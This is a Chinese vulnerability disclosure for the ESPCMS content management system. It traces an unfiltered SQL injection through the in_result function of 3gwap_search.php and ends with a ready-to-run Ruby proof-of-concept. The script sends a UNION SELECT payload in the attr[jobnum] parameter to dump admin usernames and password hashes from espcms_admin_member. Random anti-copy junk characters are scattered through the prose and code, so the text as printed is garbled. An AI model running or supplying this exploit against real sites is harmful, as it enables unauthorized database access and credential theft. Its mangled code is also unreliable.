0×0 漏洞概述0×1 漏洞细节. j( ^2 S" n% l# e3 l5 y: m
0×2 PoC" Q% f( y" H2 u$ Y* y4 ]
7 `7 ]5 Y q2 o, W2 u8 n: ]% b4 Q. }' q; H+ q
+ u- Y% \' ]8 V. c$ j; c+ ?0×0 漏洞概述3 T" e |5 s1 W7 f& [; ]+ I
% Y# x X( ?/ Y8 n+ L' Q
易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。: n0 s. P, W$ q2 @: ?1 q7 Y
其在处理传入的参数时考虑不严谨导致SQL注入发生' \0 f6 M e, S8 i( P- G! n3 D: f! L
: R7 y; V O5 Q8 ]8 N
+ @4 K) K2 @ E4 |. ?9 T! t% G0×1 漏洞细节
4 @# p( g+ z0 m$ U" T' P3 R" B0 j4 f8 ^; @6 t% Y
变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。8 }- D8 q& }( `+ c( a" _4 q0 \
正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。/ _+ d. t* M$ G+ H$ }9 ]
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。# @! U4 { t5 L: x
4 a/ Y9 w9 S( C* z! n2 B; f
在/interface/3gwap_search.php文件的in_result函数中:
2 s2 L; ?0 S" l+ Y. I% z
! _* B3 @! @0 R$ T+ n" p" L8 Q2 J2 z0 \8 L
' R0 X; x) Z) p$ q* D" q+ w! X3 p function in_result() {
$ i, N$ u/ f2 h% D' |$ ]: \9 I/ L ... ... ... ... ... ... ... ... ...4 `% @3 P' _ J: b
$urlcode = $_SERVER[ 'QUERY_STRING '];$ j3 V4 M) _2 C& `
parse_str(html_entity_decode($urlcode), $output);& f% R+ H n( s: L3 Z) @( {8 A
6 V* W+ P& n( J$ K
... ... ... ... ... ... ... ... ...
, a4 m2 O2 |3 ?$ G8 W if (is_array($output['attr' ]) && count($output['attr']) > 0) {( C! `" q; z' l1 C- F, Z3 C/ b: {
7 C2 n1 M6 B+ |% N
$db_table = db_prefix . 'model_att';/ i+ Z* I5 v- u& u' E& j3 _" W
0 U4 N) k% M- _4 X foreach ($output['attr' ] as $key => $value) {
* j6 o3 o" b o if ($value) {
1 D' u# `# K: H3 l1 r. _" D& t+ j
% j$ I, A* ^7 k0 u% C' e1 G $key = addslashes($key);
, h) x9 y8 s- y% C# `. K8 d $key = $this-> fun->inputcodetrim($key);2 _6 F0 G( E; L1 b9 i
$db_att_where = " WHERE isclass=1 AND attrname='$key'";- O2 j7 g# k- G Z& D
$countnum = $this->db_numrows($db_table, $db_att_where);2 a4 f& F8 U5 |- T$ P- L
if ($countnum > 0) {
, U/ x1 h) |! ]: k $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;7 M2 c7 y& R3 T6 c* k+ G
}" Y3 H, E0 F! x3 \" L4 P- J* t
}
" T4 O" |: v3 W }8 a; g/ K! I0 u# T
}, x" Y5 F* t) ~, @
if (!empty ($keyword) && empty($keyname)) {7 ?" F" a% l) r
$keyname = 'title';) _2 h( |; U! @ s0 S
$db_where.= " AND a.title like '%$keyword%'" ;' H) C5 M4 N7 u6 }1 u% b3 [
} elseif (!empty ($keyword) && !empty($keyname)) {
, o: n' z/ q1 T+ E+ X- Q0 O $db_where.= " AND $keyname like '% $keyword%'";
* w7 _" l+ \5 W) X* g: g. Z }
' |8 q7 \- i- g. R7 V7 U2 r $pagemax = 15;
: L8 Q# g/ ]8 C, u. E
+ S: C) U. L- @* C, q- Y $pagesylte = 1;
& P6 ]% N4 l! Y# T4 W, _& C5 P0 a- b2 k9 s c( J k$ o. n
if ($countnum > 0) {8 A; M! ]; C' m
8 M3 g: F5 e+ A. t# V
$numpage = ceil($countnum / $pagemax);! `" e- c! T" z7 \4 x4 a1 X6 F
} else {
9 G! e- F- s5 K6 c. W $numpage = 1;
+ S) l, Z$ O/ j. a }
9 U* t1 p- T, w' `+ y $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;* R- D6 a" l1 K1 U
$this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);
, k6 ?# ^+ x; h$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);% }% q, U# |' x+ G8 ]
... ... ... ... ... ... ... ... ...
+ P6 n) A( U3 Y2 C }
- _: S/ ^* s1 ]& \% Y( U5 M- s( a" P; \' V
5 a2 K- m2 l; b, o6 v' b. O
0×2 PoC
' G: Z: U k9 N4 D) v1 ]5 c3 `' z- C; Y. D0 R' q; `
1 n3 y2 [3 u8 \# ` K- I
3 g4 }3 g0 x) \* _% u# N, v1 V
require "net/http"1 q+ |9 H J5 T6 N4 ]8 C
0 g8 x7 T" p, V4 }def request(method, url), V0 X9 D6 \4 Y+ v8 H
if method.eql?("get")
U& O% V. }% @ uri = URI.parse(url)
9 Q7 \; S, f. k8 n4 n, l" u http = Net::HTTP.new(uri.host, uri.port)2 v0 l3 I& U+ e/ n
response = http.request(Net::HTTP::Get.new(uri.request_uri))1 W* U( M3 l8 W6 z7 H
return response4 Y: ]- H6 v- f1 ] s9 {) ^# {! m
end
; u6 g: T; t& xend
% W' v" w7 A& _
1 Y1 {0 m. P2 |$ O) a& I6 F5 Rdoc =<<HERE6 w" t2 V% D: K2 Y3 p5 I2 u/ b
-------------------------------------------------------
3 i; {3 h" c+ K' SEspcms Injection Exploit
S! J0 M8 U7 u1 w, EAuthor:ztz
, R5 a. k7 s7 U% H2 T5 c0 ]5 @Blog:http://ztz.fuzzexp.org/
2 z: ^; K3 l Y-------------------------------------------------------
6 d0 y1 r+ L0 X, q" B1 J0 G: s: w( l$ H- N$ O2 i( H
HERE
' A1 w' V* G# L; I) ?2 i( k) S7 }, i5 u2 l3 `+ W" ]8 W$ \
usage =<<HERE% E, ~) i) N& f q2 p
Usage: ruby #{$0} host port path2 V; Z2 } L# K p+ T! M; i; d5 X- h
example: ruby #{$0} www.target.com 80 /
0 k5 B5 A+ S5 w( q& tHERE3 X q, W0 x$ c9 {& r
- t, R) K- \( b9 \puts doc
* u/ H# H7 s: l. z- w Xif ARGV.length < 33 O- P+ c" E: T- o
puts usage
5 n. j. M9 w4 @" q" V1 F2 P1 N8 M0 Lelse9 {5 B( T5 s+ t* K
$host = ARGV[0]* u; J5 H0 h% K6 N" l
$port = ARGV[1]
! L9 `2 A$ t2 j% W: t( ?/ t7 a5 m $path = ARGV[2]
R) @% g8 h# e' G" }& v8 ^* u& t! }( v6 s# V6 N
puts "send request..."" N* P, Q% t, a
url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&" r6 W" ? k2 |3 e+ ~) ]' l
attr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13$ f: L' ~, S/ ]% W
,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27
- J$ O9 B! R- @/ N" v }+ M,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"" B* |8 E- q4 O0 J2 U6 G
response = request("get", url)
9 a+ f2 O1 {: G2 G Q, |! F( o result = response.body.scan(/\w+&\w{32}/). z3 w& ]% N- M
puts result
3 n7 B9 M( t) v$ I: oend+ [3 l6 y- W$ \" e) ~ f. A
: w& J1 ?& o, R8 Q3 B' R! z |